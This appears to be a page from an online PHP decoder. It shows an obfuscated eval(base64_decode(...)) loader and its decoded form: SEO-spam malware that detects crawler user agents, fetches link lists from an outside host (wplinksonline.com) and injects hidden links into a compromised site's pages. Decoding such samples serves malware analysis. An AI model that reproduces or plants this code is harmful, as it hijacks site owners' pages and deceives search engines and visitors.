Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("ICBpZiAocHJlZ19tYXRjaCgnI2dvb2dsZXxiaW5nfHlhaG9vfGFvbHxhc2t8Ym90fG1zbm..
Decoded Output download
if (preg_match('#google|bing|yahoo|aol|ask|bot|msnbot|Baidu|'. 'spider|crawler|wordpress|MJ12bot|Vagabondo|'. 'Yandex|Ahrefs|facebook|CMRadar|Jakarta|GigablastOpenSource|'. 'CMRadar|Mechanize|FeedBurner#si',@$_SERVER['HTTP_USER_AGENT'])) { $url = 'http://wplinksonline.com'; $rp = 'http://'.@$_SERVER['SERVER_NAME'].@$_SERVER["REQUEST_URI"]; curl_setopt($chc=curl_init($rp), CURLOPT_RETURNTRANSFER, 1); curl_setopt($chc, CURLOPT_HEADER, 0); curl_setopt($chc, CURLOPT_FOLLOWLOCATION, 0); $out = trim(curl_exec($chc)); if ($out != '') { $hash = md5($rp); $ref = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; $ref = str_replace('www.','',$ref); $q = rtrim($url,' /').'/getlinks.php?ref='.urlencode($ref); curl_setopt($chl=curl_init($q), CURLOPT_RETURNTRANSFER, 1); curl_setopt($chl, CURLOPT_HEADER, 0); curl_setopt($chl, CURLOPT_FOLLOWLOCATION, 0); $lout = curl_exec($chl); $lnks = @explode("
",$lout); if (!is_array($lnks) || count($lnks)==0) { die($out); } $arr = array(); foreach ($lnks as $lnk) { $temp = explode('==>',$lnk); $arr[] = $temp; } if (substr($arr[0][0],0,12)=='test-linking') { $arr[0][0] = '<!-- '.substr($arr[0][0],12).' -->'; $arr[0][1] = '0'; $arr[0][2] = '0'; } $breg = '#(<body.+</body>)#si'; if (preg_match($breg,$out,$bres)) { $body = $bres[1]; $bress = '#(\<body[^>]*\>)#si'; $brese = '#\<\/body\>#si'; foreach ($arr as $onel) { $link = trim($onel[0]); $pos = $onel[1]; $sub_pos = $onel[2]; if ($link=='') continue; $breps = '$1 '.$link.' '; $brepe = ' '.$link.' </body>'; $tsarr = array(); if (preg_match_all('#<script.+?</script>#si',$body,$tsres)>0) { for ($ti=0;$ti<count($tsres[0]);$ti++) { $body = preg_replace('#<script.+?</script>#si','[SCR'.$ti.']',$body,1); $tsarr[$ti] = $tsres[0][$ti]; } } $tee = explode('</p>',$body); if (count($tee)>1) { $key = floor((count($tee))*$pos/100)-1; $block = $tee[$key]; if (substr($link, 0, 2)=='<p') { $avglen = 0; $avgcc = 0; for ($tk=1;$tk<=count($tee)-1;$tk++) { $tv = $tee[$tk]; $onelen = strlen(strip_tags(preg_replace(array('#^.*?\<p#si','#[\s]+#si'),array('<p',''),$tv))); if ($onelen>0) { $avglen += $onelen; $avgcc++; } } $avg = ceil($avglen/$avgcc); if ($avg>0) { $torand = array(); for ($tk=1;$tk<=count($tee)-1;$tk++) { $tv = $tee[$tk]; $onelen = strlen(strip_tags(preg_replace(array('#^.*?\<p#si','#[\s]+#si'),array('<p',''),$tv))); if ($onelen>=$avg) $torand[] = $tk; } $key = floor(count($torand)*$pos/100); $block = $tee[$torand[$key]]; if (preg_match('#\/p>#si',$block)) $block = preg_replace('#\/p>#si', '/p>'."
".$link, $block); else $block = $block."
".$link; $tee[$torand[$key]] = $block; } else { $tee[$key] = $tee[$key]."
".$link; } } else { $rtemps = array(); if (preg_match('#^(.+)<p[^>]*>#si',$block,$press)) { $rtemps['P'] = $press[1]; $block = preg_replace('#^(.+)(<p[^>]*>)#si', '[TEMPS-P]$2', $block, 1); } if (preg_match_all('#(<[^>]+>)#si', $block, $temps)>0) { for($tsi=0;$tsi<count($temps[1]);$tsi++) { $block = preg_replace('#(<[^>]*>)#si', '[TEMPS-'.$tsi.']', $block, 1); $rtemps[$tsi] = $temps[1][$tsi]; } } if (substr($link, 0, 2)=='<a') { $tbl = explode(' ',$block); $bkey = floor((count($tbl)-2)*$sub_pos/100)+1; $tbl[$bkey] .= ' '.$link; $block = implode(' ',$tbl); $tee[$key] = $block; } else { $enreg = '#[\.\!\?]{1,3}[\s]+#si'; if (($sens_cc = preg_match_all($enreg,$block,$enres))>0) { $senposGAGA = floor($sens_cc*$sub_pos/100); $counterGAGA = 0; $block = preg_replace_callback($enreg, function($resss){ global $counterGAGA, $senposGAGA, $link; if ($counterGAGA==$senposGAGA) $ret = $resss[0].$link.' '; else $ret = $resss[0]; $counterGAGA++; return $ret; },$block); } else { $block .= ' '.$link; } $tee[$key] = $block; } if (count($rtemps)>0) foreach($rtemps as $k=>$v) $block = str_replace('[TEMPS-'.$k.']', $v, $block); $tee[$key] = $block; } $body = implode('</p>',$tee); } else { $reg = ($sub_pos>50) ? $bress : $brese; $rep = ($sub_pos>50) ? $breps : $brepe; $body = preg_replace($reg,$rep,$body,1); } if (count($tsarr)>0) { foreach($tsarr as $k=>$v) { $body = str_replace('[SCR'.$k.']',$v,$body); } } $body = str_replace('$','\$',$body); } $out = preg_replace($breg,$body,$out,1); } else { foreach ($arr as $onel) { $link = $onel[0]; $out .= '<br>'.$link; } } die($out); } }
Did this file decode correctly?
Original Code
eval(base64_decode("ICBpZiAocHJlZ19tYXRjaCgnI2dvb2dsZXxiaW5nfHlhaG9vfGFvbHxhc2t8Ym90fG1zbmJvdHxCYWlkdXwnLiAgICAnc3BpZGVyfGNyYXdsZXJ8d29yZHByZXNzfE1KMTJib3R8VmFnYWJvbmRvfCcuICAgICdZYW5kZXh8QWhyZWZzfGZhY2Vib29rfENNUmFkYXJ8SmFrYXJ0YXxHaWdhYmxhc3RPcGVuU291cmNlfCcuICAgICdDTVJhZGFyfE1lY2hhbml6ZXxGZWVkQnVybmVyI3NpJyxAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgICB7ICAgJHVybCA9ICdodHRwOi8vd3BsaW5rc29ubGluZS5jb20nOyAgICRycCA9ICdodHRwOi8vJy5AJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAgY3VybF9zZXRvcHQoJGNoYz1jdXJsX2luaXQoJHJwKSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICAgY3VybF9zZXRvcHQoJGNoYywgQ1VSTE9QVF9IRUFERVIsIDApOyAgIGN1cmxfc2V0b3B0KCRjaGMsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyAgICRvdXQgPSB0cmltKGN1cmxfZXhlYygkY2hjKSk7ICAgICBpZiAoJG91dCAhPSAnJykgICAgeyAgICAkaGFzaCA9IG1kNSgkcnApOyAgICAgICRyZWYgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgICAgJHJlZiA9IHN0cl9yZXBsYWNlKCd3d3cuJywnJywkcmVmKTsgICAgICAkcSA9IHJ0cmltKCR1cmwsJyAvJykuJy9nZXRsaW5rcy5waHA/cmVmPScudXJsZW5jb2RlKCRyZWYpOyAgICAgIGN1cmxfc2V0b3B0KCRjaGw9Y3VybF9pbml0KCRxKSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICAgIGN1cmxfc2V0b3B0KCRjaGwsIENVUkxPUFRfSEVBREVSLCAwKTsgICAgY3VybF9zZXRvcHQoJGNobCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7ICAgICRsb3V0ID0gY3VybF9leGVjKCRjaGwpOyAgICAgICRsbmtzID0gQGV4cGxvZGUoIlxuIiwkbG91dCk7ICAgIGlmICghaXNfYXJyYXkoJGxua3MpIHx8IGNvdW50KCRsbmtzKT09MCkgICAgIHsgICAgIGRpZSgkb3V0KTsgICAgIH0gICAgICAkYXJyID0gYXJyYXkoKTsgICAgZm9yZWFjaCAoJGxua3MgYXMgJGxuaykgICAgIHsgICAgICR0ZW1wID0gZXhwbG9kZSgnPT0+JywkbG5rKTsgICAgICRhcnJbXSA9ICR0ZW1wOyAgICAgfSAgICAgIGlmIChzdWJzdHIoJGFyclswXVswXSwwLDEyKT09J3Rlc3QtbGlua2luZycpICAgICB7ICAgICAkYXJyWzBdWzBdID0gJzwhLS0gJy5zdWJzdHIoJGFyclswXVswXSwxMikuJyAtLT4nOyAgICAgJGFyclswXVsxXSA9ICcwJzsgICAgICRhcnJbMF1bMl0gPSAnMCc7ICAgICB9ICAgICAgJGJyZWcgPSAnIyg8Ym9keS4rPC9ib2R5Pikjc2knOyAgICAgIGlmIChwcmVnX21hdGNoKCRicmVnLCRvdXQsJGJyZXMpKSAgICAgeyAgICAgJGJvZHkgPSAkYnJlc1sxXTsgICAgICAgJGJyZXNzID0gJyMoXDxib2R5W14+XSpcPikjc2knOyAgICAgJGJyZXNlID0gJyNcPFwvYm9keVw+I3NpJzsgICAgICAgZm9yZWFjaCAoJGFyciBhcyAkb25lbCkgICAgICB7ICAgICAgJGxpbmsgPSB0cmltKCRvbmVsWzBdKTsgICAgICAkcG9zICA9ICRvbmVsWzFdOyAgICAgICRzdWJfcG9zID0gJG9uZWxbMl07ICAgICAgICBpZiAoJGxpbms9PScnKSBjb250aW51ZTsgICAgICAgICRicmVwcyA9ICckMSAnLiRsaW5rLicgJzsgICAgICAkYnJlcGUgPSAnICcuJGxpbmsuJyA8L2JvZHk+JzsgICAgICAgICR0c2FyciA9IGFycmF5KCk7ICAgICAgaWYgKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdC4rPzwvc2NyaXB0PiNzaScsJGJvZHksJHRzcmVzKT4wKSAgICAgICB7ICAgICAgIGZvciAoJHRpPTA7JHRpPGNvdW50KCR0c3Jlc1swXSk7JHRpKyspICAgICAgICB7ICAgICAgICAkYm9keSA9IHByZWdfcmVwbGFjZSgnIzxzY3JpcHQuKz88L3NjcmlwdD4jc2knLCdbU0NSJy4kdGkuJ10nLCRib2R5LDEpOyAgICAgICAgJHRzYXJyWyR0aV0gPSAkdHNyZXNbMF1bJHRpXTsgICAgICAgIH0gICAgICAgfSAgICAgICR0ZWUgPSBleHBsb2RlKCc8L3A+JywkYm9keSk7ICAgICAgICAgIGlmIChjb3VudCgkdGVlKT4xKSAgICAgICB7ICAgICAgICRrZXkgPSBmbG9vcigoY291bnQoJHRlZSkpKiRwb3MvMTAwKS0xOyAgICAgICAkYmxvY2sgPSAkdGVlWyRrZXldOyAgICAgICAgIGlmIChzdWJzdHIoJGxpbmssIDAsIDIpPT0nPHAnKSAgICAgICAgeyAgICAgICAgJGF2Z2xlbiA9IDA7ICAgICAgICAkYXZnY2MgPSAwOyAgICAgICAgZm9yICgkdGs9MTskdGs8PWNvdW50KCR0ZWUpLTE7JHRrKyspICAgICAgICAgeyAgICAgICAgICR0diA9ICR0ZWVbJHRrXTsgICAgICAgICAkb25lbGVuID0gc3RybGVuKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKGFycmF5KCcjXi4qP1w8cCNzaScsJyNbXHNdKyNzaScpLGFycmF5KCc8cCcsJycpLCR0dikpKTsgICAgICAgICBpZiAoJG9uZWxlbj4wKSAgICAgICAgICB7ICAgICAgICAgICRhdmdsZW4gKz0gJG9uZWxlbjsgICAgICAgICAgJGF2Z2NjKys7ICAgICAgICAgIH0gICAgICAgICB9ICAgICAgICAkYXZnID0gY2VpbCgkYXZnbGVuLyRhdmdjYyk7ICAgICAgICAgIGlmICgkYXZnPjApICAgICAgICAgeyAgICAgICAgICR0b3JhbmQgPSBhcnJheSgpOyAgICAgICAgIGZvciAoJHRrPTE7JHRrPD1jb3VudCgkdGVlKS0xOyR0aysrKSAgICAgICAgICB7ICAgICAgICAgICR0diA9ICR0ZWVbJHRrXTsgICAgICAgICAgJG9uZWxlbiA9IHN0cmxlbihzdHJpcF90YWdzKHByZWdfcmVwbGFjZShhcnJheSgnI14uKj9cPHAjc2knLCcjW1xzXSsjc2knKSxhcnJheSgnPHAnLCcnKSwkdHYpKSk7ICAgICAgICAgIGlmICgkb25lbGVuPj0kYXZnKSAkdG9yYW5kW10gPSAkdGs7ICAgICAgICAgIH0gICAgICAgICAka2V5ID0gZmxvb3IoY291bnQoJHRvcmFuZCkqJHBvcy8xMDApOyAgICAgICAgICAgJGJsb2NrID0gJHRlZVskdG9yYW5kWyRrZXldXTsgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcjXC9wPiNzaScsJGJsb2NrKSkgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjXC9wPiNzaScsICcvcD4nLiJcclxuIi4kbGluaywgJGJsb2NrKTsgICAgICAgICBlbHNlICRibG9jayA9ICRibG9jay4iXHJcbiIuJGxpbms7ICAgICAgICAgICAkdGVlWyR0b3JhbmRbJGtleV1dID0gJGJsb2NrOyAgICAgICAgIH0gICAgICAgIGVsc2UgICAgICAgICB7ICAgICAgICAgJHRlZVska2V5XSA9ICR0ZWVbJGtleV0uIlxyXG4iLiRsaW5rOyAgICAgICAgIH0gICAgICAgIH0gICAgICAgZWxzZSAgICAgICAgeyAgICAgICAgJHJ0ZW1wcyA9IGFycmF5KCk7ICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcjXiguKyk8cFtePl0qPiNzaScsJGJsb2NrLCRwcmVzcykpICAgICAgICAgeyAgICAgICAgICRydGVtcHNbJ1AnXSA9ICRwcmVzc1sxXTsgICAgICAgICAkYmxvY2sgPSBwcmVnX3JlcGxhY2UoJyNeKC4rKSg8cFtePl0qPikjc2knLCAnW1RFTVBTLVBdJDInLCAkYmxvY2ssIDEpOyAgICAgICAgIH0gICAgICAgICAgaWYgKHByZWdfbWF0Y2hfYWxsKCcjKDxbXj5dKz4pI3NpJywgJGJsb2NrLCAkdGVtcHMpPjApICAgICAgICAgeyAgICAgICAgIGZvcigkdHNpPTA7JHRzaTxjb3VudCgkdGVtcHNbMV0pOyR0c2krKykgICAgICAgICAgeyAgICAgICAgICAkYmxvY2sgPSBwcmVnX3JlcGxhY2UoJyMoPFtePl0qPikjc2knLCAnW1RFTVBTLScuJHRzaS4nXScsICRibG9jaywgMSk7ICAgICAgICAgICRydGVtcHNbJHRzaV0gPSAkdGVtcHNbMV1bJHRzaV07ICAgICAgICAgIH0gICAgICAgICB9ICAgICAgICAgIGlmIChzdWJzdHIoJGxpbmssIDAsIDIpPT0nPGEnKSAgICAgICAgIHsgICAgICAgICAkdGJsID0gZXhwbG9kZSgnICcsJGJsb2NrKTsgICAgICAgICAkYmtleSA9IGZsb29yKChjb3VudCgkdGJsKS0yKSokc3ViX3Bvcy8xMDApKzE7ICAgICAgICAgJHRibFskYmtleV0gLj0gJyAnLiRsaW5rOyAgICAgICAgICRibG9jayA9IGltcGxvZGUoJyAnLCR0YmwpOyAgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgICB9ICAgICAgICBlbHNlICAgICAgICAgeyAgICAgICAgICRlbnJlZyA9ICcjW1wuXCFcP117MSwzfVtcc10rI3NpJzsgICAgICAgICBpZiAoKCRzZW5zX2NjID0gcHJlZ19tYXRjaF9hbGwoJGVucmVnLCRibG9jaywkZW5yZXMpKT4wKSAgICAgICAgICB7ICAgICAgICAgICRzZW5wb3NHQUdBID0gZmxvb3IoJHNlbnNfY2MqJHN1Yl9wb3MvMTAwKTsgICAgICAgICAgJGNvdW50ZXJHQUdBID0gMDsgICAgICAgICAgJGJsb2NrID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCRlbnJlZywgZnVuY3Rpb24oJHJlc3NzKXsgICAgICAgICAgICAgIGdsb2JhbCAkY291bnRlckdBR0EsICRzZW5wb3NHQUdBLCAkbGluazsgICAgICAgICAgICAgIGlmICgkY291bnRlckdBR0E9PSRzZW5wb3NHQUdBKSAkcmV0ID0gJHJlc3NzWzBdLiRsaW5rLicgJzsgICAgICAgICAgICBlbHNlICRyZXQgPSAkcmVzc3NbMF07ICAgICAgICAgICAgICAkY291bnRlckdBR0ErKzsgICAgICAgICAgICAgIHJldHVybiAkcmV0OyAgICAgICAgICAgICAgfSwkYmxvY2spOyAgICAgICAgICB9ICAgICAgICAgZWxzZSAgICAgICAgICB7ICAgICAgICAgICRibG9jayAuPSAnICcuJGxpbms7ICAgICAgICAgIH0gICAgICAgICAgICR0ZWVbJGtleV0gPSAkYmxvY2s7ICAgICAgICAgfSAgICAgICAgICBpZiAoY291bnQoJHJ0ZW1wcyk+MCkgZm9yZWFjaCgkcnRlbXBzIGFzICRrPT4kdikgJGJsb2NrID0gc3RyX3JlcGxhY2UoJ1tURU1QUy0nLiRrLiddJywgJHYsICRibG9jayk7ICAgICAgICAgICR0ZWVbJGtleV0gPSAkYmxvY2s7ICAgICAgICB9ICAgICAgICAgJGJvZHkgPSBpbXBsb2RlKCc8L3A+JywkdGVlKTsgICAgICAgfSAgICAgIGVsc2UgICAgICAgeyAgICAgICAkcmVnID0gKCRzdWJfcG9zPjUwKSA/ICRicmVzcyA6ICRicmVzZTsgICAgICAgJHJlcCA9ICgkc3ViX3Bvcz41MCkgPyAkYnJlcHMgOiAkYnJlcGU7ICAgICAgICRib2R5ID0gcHJlZ19yZXBsYWNlKCRyZWcsJHJlcCwkYm9keSwxKTsgICAgICAgICAgICAgfSAgICAgICAgaWYgKGNvdW50KCR0c2Fycik+MCkgICAgICAgeyAgICAgICBmb3JlYWNoKCR0c2FyciBhcyAkaz0+JHYpICAgICAgICB7ICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCdbU0NSJy4kay4nXScsJHYsJGJvZHkpOyAgICAgICAgfSAgICAgICB9ICAgICAgICAgICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoJyQnLCdcJCcsJGJvZHkpOyAgICAgIH0gICAgICAgJG91dCA9IHByZWdfcmVwbGFjZSgkYnJlZywkYm9keSwkb3V0LDEpOyAgICAgfSAgICBlbHNlICAgICB7ICAgICBmb3JlYWNoICgkYXJyIGFzICRvbmVsKSAgICAgIHsgICAgICAkbGluayA9ICRvbmVsWzBdOyAgICAgICRvdXQgLj0gJzxicj4nLiRsaW5rOyAgICAgIH0gICAgIH0gICAgICBkaWUoJG91dCk7ICAgICB9ICAgfSAgICA="));
Function Calls
| base64_decode | 1 |
Stats
| MD5 | e9cabcd46a3e1407cb4aae21e762ce96 |
| Eval Count | 1 |
| Decode Time | 97 ms |